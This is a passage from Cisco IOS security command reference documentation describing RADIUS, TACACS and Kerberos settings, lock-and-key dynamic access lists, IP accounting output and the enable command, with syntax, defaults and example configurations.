Global configuration

This command first appeared in Cisco IOS Release 11.1.

The Cisco IOS software tries all servers, allowing each one to time out before increasing the retransmit count.

The following example specifies a retransmit counter value of five times:

radius-server retransmit 5

To set the interval a router waits for a server host to reply, use the radius-server timeout global configuration command. Use the no form of this command to restore the default.

seconds Integer that specifies the timeout interval in seconds.

5 seconds

Global configuration

This command first appeared in Cisco IOS Release 11.1.

The following example changes the interval timer to 10 seconds:

radius-server timeout 10

A dagger (†) indicates that the command is documented outside this chapter.

login authentication †

ppp †

ppp authentication†

slip †

tacacs-server †

username †

Use the show kerberos creds EXEC command to display the contents of your credentials cache.

This command has no keywords or arguments.

EXEC

This command first appeared in Cisco IOS Release 11.1.

The show kerberos creds command is equivalent to the UNIX klist command.

When users authenticate themselves with Kerberos, they are issued an authentication ticket called a credential. The credential is stored in a credential cache.

In the following example, the entries in the credentials cache are displayed:

Router> show kerberos creds

Default Principal: chet@cisco.com

Valid Starting Expires Service Principal

18-Dec-1995 16:21:07 19-Dec-1995 00:22:24 krbtgt/CISCO.COM@CISCO.COM

In the following example, output is returned that acknowledges that credentials do not exist in the credentials cache:

Router> show kerberos creds

No Kerberos credentials

To display your current level of privilege, use the show privilege EXEC command.

This command has no arguments or keywords.

EXEC

This command first appeared in Cisco IOS Release 10.3.

The following is sample output from the show privilege command. The current privilege level is 15.

Router# show privilege

Current privilege level is 15

A dagger (†) indicates that the command is documented outside this chapter.

enable password †

Use the tacacs-server key global configuration command to set the authentication encryption key used for all TACACS+ communications between the access server and the TACACS+ daemon. Use the no form of the command to disable the key.

key Key used to set authentication and encryption. This key must match the key used on the TACACS+ daemon.

Global Configuration

This command first appeared in Cisco IOS Release 11.1.

After enabling AAA with the aaa new-model command, you must set the authentication and encryption key using the tacacs-server key command.

The key entered must match the key used on the TACACS+ daemon. All leading spaces are ignored; spaces within and at the end of the key are not. If you use spaces in your key, do not enclose the key in quotation marks unless the quotation marks themselves are part of the key.

The following example illustrates how to set the authentication and encryption key to "dare to go":

tacacs-server key dare to go

tacacs-server host

To specify how long the system will wait for login input (such as username and password) before timing out, use the tacacs-server login-timeout global configuration command. Use the no form of this command to restore the default value of 30 seconds.

seconds Integer that determines the number of seconds the system will wait for login input before timing out. Available settings are from 1 to 300 seconds.

The default login timeout value is 30 seconds.

Global configuration

With aaa new-model enabled, the default login timeout value is 30 seconds. The tacacs-server login-timeout command lets you change this timeout value from 1 to 300 seconds. To restore the default login timeout value of 30 seconds, use the no tacacs-server login-timeout command.

The following example changes the login timeout value to 60 seconds:

tacacs login 60

To configure the Cisco IOS software to indicate whether a user can perform an attempted action under TACACS and extended TACACS, use the tacacs-server authenticate global configuration command.

connection Configures a required response when a user makes a TCP connection.

enable Configures a required response when a user enters the enable command.

slip Configures a required response when a user starts a SLIP or PPP session.

always (Optional) Performs authentication even when a user is not logged in. This option only applies to the slip keyword.

access-lists (Optional) Requests and installs access lists. This option only applies to the slip keyword.

Global configuration

The tacacs-server authenticate [connection | enable] command first appeared in Cisco IOS Release 10.0. The tacacs-server authenticate {connection [always]enable | slip [always] [access-lists]} command first appeared in Cisco IOS Release 10.3.

Enter one of the keywords to specify the action (when a user enters enable mode, for example).

Before you use the tacacs-server authenticate command, you must enable the tacacs-server extended command.

Note This command is not used in AAA/TACACS+. It has been replaced by the aaa authorization command.

The following example configures TACACS logins that authenticate users to use Telnet or rlogin:

tacacs-server authenticate connect

A dagger (†) indicates that the command is documented outside this chapter.

enable secret †

enable use-tacacs

To send only a username to a specified server when a direct request is issued, use the tacacs-server directed-request global configuration command. Use the no form of this command to disable the direct-request feature.

This command has no arguments or keywords.

Enabled

Global configuration

This command first appeared in Cisco IOS Release 11.1.

This command sends only the portion of the username before the "@" symbol to the host specified after the "@" symbol. In other words, with the directed-request feature enabled, you can direct a request to any of the configured servers, and only the username is sent to the specified server.

Disabling tacacs-server directed-request causes the whole string, both before and after the "@" symbol, to be sent to the default tacacs server. When the directed-request feature is disabled, the router queries the list of servers, starting with the first one in the list, sending the whole string, and accepting the first response that it gets from the server. The tacacs-server directed-request command is useful for sites that have developed their own TACACS server software that parses the whole string and makes decisions based on it.

With tacacs-server directed-request enabled, only configured TACACS servers can be specified by the user after the "@" symbol. If the host name specified by the user does not match the IP address of a TACACS server configured by the administrator, the user input is rejected.

Use no tacacs-server directed-request to disable the ability of the user to choose between configured TACACS servers and to cause the entire string to be passed to the default server.

The following example enables tacacs-server directed-request so that the entire user input is passed to the default TACACS server:

no tacacs-server directed-request

To enable an extended TACACS mode, use the tacacs-server extended global configuration command. Use the no form of this command to disable the mode.

This command has no arguments or keywords.

Disabled

Global configuration

This command first appeared in Cisco IOS Release 10.0.

This command initializes extended TACACS. To initialize AAA/TACACS+, use the aaa new-model command.

The following example enables extended TACACS mode:

tacacs-server extended

To specify a TACACS host, use the tacacs-server host global configuration command. Use the no form of this command to delete the specified name or address.

hostname Name or IP address of the host.

single-connection Specify that the router maintain a single open connection for confirmation from a AAA/TACACS+ server (CiscoSecure Release 1.0.1 or later). This command contains no autodetect and fails if the specified host is not running a CiscoSecure daemon.

port Specify a server port number.

integer Port number of the server (in the range 1 to 10,000).

timeout Specify a timeout value. This overrides the global timeout value set with the tacacs-server timeout command for this server only.

integer Integer value, in seconds, of the timeout interval.

key Specify an authentication and encryption key. This must match the key used by the TACACS+ daemon. Specifying this key overrides the key set by the global command tacacs-server key for this server only.

string Character string specifying authentication and encryption key.

No TACACS host is specified.

Global configuration

This command first appeared in Cisco IOS Release 10.0.

You can use multiple tacacs-server host commands to specify additional hosts. The Cisco IOS software searches for hosts in the order in which you specify them. Use the single-connection, port, timeout, and key options only when running a AAA/TACACS+ server.

Because some of the parameters of the tacacs-server host command override global settings made by the tacacs-server timeout and tacacs-server key commands, you can use this command to enhance security on your network by uniquely configuring individual routers.

The following example specifies a TACACS host named Sea_Change:

tacacs-server host Sea_Change

The following example specifies that, for AAA confirmation, the router consult the CiscoSecure TACACS+ host named Sea_Cure on port number 51. The timeout value for requests on this connection is 3 seconds; the encryption key is a_secret.

tacacs-server host Sea_Cure single-connection port 51 timeout 3 key a_secret

A dagger (†) indicates that the command is documented outside this chapter.

ppp †

slip †

Use the tacacs-server key global configuration command to set the authentication encryption key used for all TACACS+ communications between the access server and the TACACS+ daemon. Use the no form of the command to disable the key.

key Key used to set authentication and encryption. This key must match the key used on the TACACS+ daemon.

Global Configuration

This command first appeared in Cisco IOS Release 11.1.

After enabling AAA with the aaa new-model command, you must set the authentication and encryption key using the tacacs-server key command.

The key entered must match the key used on the TACACS+ daemon. All leading spaces are ignored; spaces within and at the end of the key are not. If you use spaces in your key, do not enclose the key in quotation marks unless the quotation marks themselves are part of the key.

The following example illustrates how to set the authentication and encryption key to "dare to go":

tacacs-server key dare to go

tacacs-server host

To cause the network access server to request the privileged password as verification, or to allow successful login without further input from the user, use the tacacs-server last-resort global configuration command. Use the no tacacs-server last-resort command to restore the system to the default behavior.

password Allows the user to access the EXEC command mode by entering the password set by the enable command.

succeed Allows the user to access the EXEC command mode without further question.

If, when running the TACACS server, the TACACS server does not respond, the default action is to deny the request.

Global configuration

This command first appeared in Cisco IOS Release 10.0.

Use the tacacs-server last-resort command to be sure that login can occur; for example, when a systems administrator needs to log in to troubleshoot TACACS servers that might be down.

Note This command is not used in AAA/TACACS+.

The following example forces successful login:

tacacs-server last-resort succeed

A dagger (†) indicates that the command is documented outside this chapter.

enable password †

login (EXEC) †

Use the tacacs-server notify global configuration command to cause a message to be transmitted to the TACACS server, with retransmission being performed by a background process for up to 5 minutes. Use the no form of this command to disable notification.

connection Specifies that a message be transmitted when a user makes a TCP connection.

always (Optional) Sends a message even when a user is not logged in. This option applies only to SLIP or PPP sessions and can be used with the logout or slip keywords.

enable Specifies that a message be transmitted when a user enters the enable command.

logout Specifies that a message be transmitted when a user logs out.

slip Specifies that a message be transmitted when a user starts a SLIP or PPP session.

No message is transmitted to the TACACS server.

Global configuration

This command first appeared in Cisco IOS Release 10.0. The always and slip commands first appeared in Cisco IOS Release 11.0.

The terminal user receives an immediate response, allowing access to the feature specified. Enter one of the keywords to specify notification of the TACACS server upon receipt of the corresponding action (when user logs out, for example).

Note This command is not used in AAA/TACACS+. It has been replaced by the

aaa accounting suite of commands.

The following example sets up notification of the TACACS server when a user logs out:

tacacs-server notify logout

To specify that the first TACACS request to a TACACS server be made without password verification, use the tacacs-server optional-passwords global configuration command. Use the no form of this command to restore the default.

This command has no arguments or keywords.

Disabled

Global configuration

This command first appeared in Cisco IOS Release 10.0.

When the user enters in the login name, the login request is transmitted with the name and a zero-length password. If accepted, the login procedure completes. If the TACACS server refuses this request, the server software prompts for a password and tries again when the user supplies a password. The TACACS server must support authentication for users without passwords to make use of this feature. This feature supports all TACACS requests---login, SLIP, enable, and so on.

Note This command is not used by AAA/TACACS+.

The following example configures the first login to not require TACACS verification:

tacacs-server optional-passwords

To specify the number of times the Cisco IOS software searches the list of TACACS server hosts before giving up, use the tacacs-server retransmit global configuration command. Use the no form of this command to disable retransmission.

retries Integer that specifies the retransmit count.

Two retries

Global configuration

This command first appeared in Cisco IOS Release 10.0.

The Cisco IOS software will try all servers, allowing each one to time out before increasing the retransmit count.

The following example specifies a retransmit counter value of five times:

tacacs-server retransmit 5

To set the interval that the server waits for a server host to reply, use the tacacs-server timeout global configuration command. Use the no form of this command to restore the default.

seconds Integer that specifies the timeout interval in seconds (between 1 and 300).

5 seconds

Global configuration

This command first appeared in Cisco IOS Release 10.0.

The following example changes the interval timer to 10 seconds:

tacacs-server timeout 10

tacacs-server host

This chapter describes the commands used to configure Lock-and-key security (IP only).

Other traffic filter commands are protocol-specific, and are therefore described in the appropriate protocol-specific chapters in the Cisco IOS command references. You should refer to these protocol-specific chapters to find detailed information about traffic filter commands for each protocol. (Many of these protocols refer to the filters as "access lists.")

Specific information about configuring traffic filters (access lists) for these protocols can be found in protocol-specific chapters in the Cisco IOS configuration guides. General guidelines for using access lists can be found in the "Configuring Traffic Filters" chapter of the Security Configuration Guide.

Lock-and-key security is implemented with extended IP dynamic access lists. Lock-and-key security is available only for IP traffic, but provides more security functions than traditional static traffic filters.

To enable the router to create a temporary access list entry in a dynamic access list, use the access-enable EXEC command.

access-enable [host] [timeout minutes]

host (Optional) Tells the software to enable access only for the host from which the Telnet session originated. If not specified, the software allows all hosts on the defined network to gain access. The dynamic access list contains the network mask to use for enabling the new network.

timeout minutes (Optional) Specifies an idle timeout for the temporary access list entry. If the access list entry is not accessed within this period, it is automatically deleted and requires the user to authenticate again. The default is for the entries to remain permanently. We recommend that this value equal the idle timeout set for the WAN connection.

EXEC

This command first appeared in Cisco IOS Release 11.1.

This command enables the lock-and-key access feature.

You should always define either an idle timeout (with the timeout keyword in this command) or an absolute timeout (with the timeout keyword in the access-list command). Otherwise, the temporary access list entry will remain, even after the user terminates the session.

The following example causes the software to create a temporary access list entry and tells the software to enable access only for the host from which the Telnet session originated. If the access list entry is not accessed within 2 minutes, it is deleted.

autocommand access-enable host timeout 2

A dagger (†) indicates that the command is documented outside this chapter.

access-list (extended) †

autocommand †

To manually place a temporary access list entry on a router to which you are connected, use the access-template EXEC command.

access-template [access-list-number | name] [dynamic-name] [source] [destination] [timeout minutes]

access-list-number Number of the dynamic access list.

name Name of an IP access list. The name cannot contain a space or quotation mark, and must begin with an alphabetic character to avoid ambiguity with numbered access lists.

dynamic-name (Optional) Name of a dynamic access list.

source (Optional) Source address in a dynamic access list. The keywords host and any are allowed. All other attributes are inherited from the original access-list entry.

destination (Optional) Destination address in a dynamic access list. The keywords host and any are allowed. All other attributes are inherited from the original access-list entry.

timeout minutes (Optional) Specifies a maximum time limit for each entry within this dynamic list. This is an absolute time, from creation, that an entry can reside in the list. The default is an infinite time limit and allows an entry to remain permanently.

EXEC

This command first appeared in Cisco IOS Release 11.1.

This command provides a way to enable the lock-and-key access feature.

You should always define either an idle timeout (with the timeout keyword in this command) or an absolute timeout (with the timeout keyword in the access-list command). Otherwise, the dynamic access list will remain, even after the user has terminated the session.

In the following example, the software enables IP access on incoming packets in which the source address is 172.29.1.129 and the destination address is 192.168.52.12. All other source and destination pairs are discarded.

access-template 101 payroll host 172.29.1.129 host 192.168.52.12 timeout 2

A dagger (†) indicates that the command is documented outside this chapter.

access-list (extended) †

autocommand †

To manually clear a temporary access list entry from a dynamic access list, use the clear access-template EXEC command.

clear access-template [access-list-number | name] [dynamic-name] [source] [destination]

access-list-number (Optional) Number of the dynamic access list from which the entry is to be deleted.

name Name of an IP access list from which the entry is to be deleted. The name cannot contain a space or quotation mark, and must begin with an alphabetic character to avoid ambiguity with numbered access lists.

dynamic-name (Optional) Name of the dynamic access list from which the entry is to be deleted.

source (Optional) Source address in a temporary access list entry to be deleted.

destination (Optional) Destination address in a temporary access list entry to be deleted.

EXEC

This command first appeared in Cisco IOS Release 11.1.

This command is related to the lock-and-key access feature. It clears any temporary access list entries that match the parameters you define.

The following example clears any temporary access list entries with a source of 172.20.1.12 from the dynamic access list named vendor:

clear access-template vendor 172.20.1.12

A dagger (†) indicates that the command is documented outside this chapter.

access-list (extended) †

To display the active accounting or checkpointed database or to display access-list violations, use the show ip accounting privileged EXEC command.

show ip accounting [checkpoint] [output-packets | access-violations]

checkpoint (Optional) Indicates that the checkpointed database should be displayed.

output-packets (Optional) Indicates that information pertaining to packets that passed access control and were successfully routed should be displayed. This is the default value if neither output-packets nor access-violations is specified.

access-violations (Optional) Indicates that information pertaining to packets that failed access lists and were not routed should be displayed.

If neither the output-packets nor access-violations keyword is specified, show ip accounting displays information pertaining to packets that passed access control and were successfully routed.

EXEC

This command first appeared in Cisco IOS Release 10.0.

To use this command, you must first enable IP accounting on a per-interface basis.

Following is sample output from the show ip accounting command:

Router# show ip accounting

Source Destination Packets Bytes

172.30.19.40 172.30.67.20 7 306

172.30.13.55 172.30.67.20 67 2749

172.30.2.50 172.30.33.51 17 1111

172.30.2.50 172.30.2.1 5 319

172.30.2.50 172.30.1.2 463 30991

172.30.19.40 172.30.2.1 4 262

172.30.19.40 172.30.1.2 28 2552

172.30.20.2 172.30.6.100 39 2184

172.30.13.55 172.30.1.2 35 3020

172.30.19.40 172.30.33.51 1986 95091

172.30.2.50 172.30.67.20 233 14908

172.30.13.28 172.30.67.53 390 24817

172.30.13.55 172.30.33.51 214669 9806659

172.30.13.111 172.30.6.23 27739 1126607

172.30.13.44 172.30.33.51 35412 1523980

172.30.7.21 172.30.1.2 11 824

172.30.13.28 172.30.33.2 21 1762

172.30.2.166 172.30.7.130 797 141054

172.30.3.11 172.30.67.53 4 246

172.30.7.21 172.30.33.51 15696 695635

172.30.7.24 172.30.67.20 21 916

172.30.13.111 172.30.10.1 16 1137

Destination Destination address of the packet

Packets Number of packets transmitted from the source address to the destination address

Bytes Number of bytes transmitted from the source address to the destination address

Following is sample output from the show ip accounting access-violations command. (The following displays information pertaining to packets that failed access lists and were not routed.)

Router# show ip accounting access-violations

Source Destination Packets Bytes ACL

172.30.19.40 172.30.67.20 7 306 77

172.30.13.55 172.30.67.20 67 2749 185

172.30.2.50 172.30.33.51 17 1111 140

172.30.2.50 172.30.2.1 5 319 140

172.30.19.40 172.30.2.1 4 262 77

Accounting data age is 41

Source Source address of the packet

Destination Destination address of the packet

Packets For accounting keyword, number of packets transmitted from the source address to the destination address

For access-violations keyword, number of packets transmitted from the source address to the destination address that violated the access control list

Bytes For accounting keyword, number of bytes transmitted from the source address to the destination address

For access-violations keyword, number of bytes transmitted from the source address to the destination address that violated the access-control list

ACL Number of the access list of the last packet transmitted from the source to the destination that failed an access list

A dagger (†) indicates that the command is documented outside this chapter.

clear ip accounting †

ip accounting †

ip accounting-list †

ip accounting-threshold †

ip accounting-transits †

This chapter describes the commands used to control access to the router.

To log on to the router at a specified level, use the enable EXEC command.

level (Optional) Defines the privilege level that a user logs in to on the router.

Level 15

EXEC

This command first appeared in Cisco IOS Release 10.0.

Note The enable command is associated with privilege level 0. If you configure AAA authorization for a privilege level greater than 0, this command will not be included in the privilege level command set.

In the following example, the user is logging on to privilege level 5 on a router:

enable 5

A dagger (†) indicates that the command is documented outside this chapter.

disable †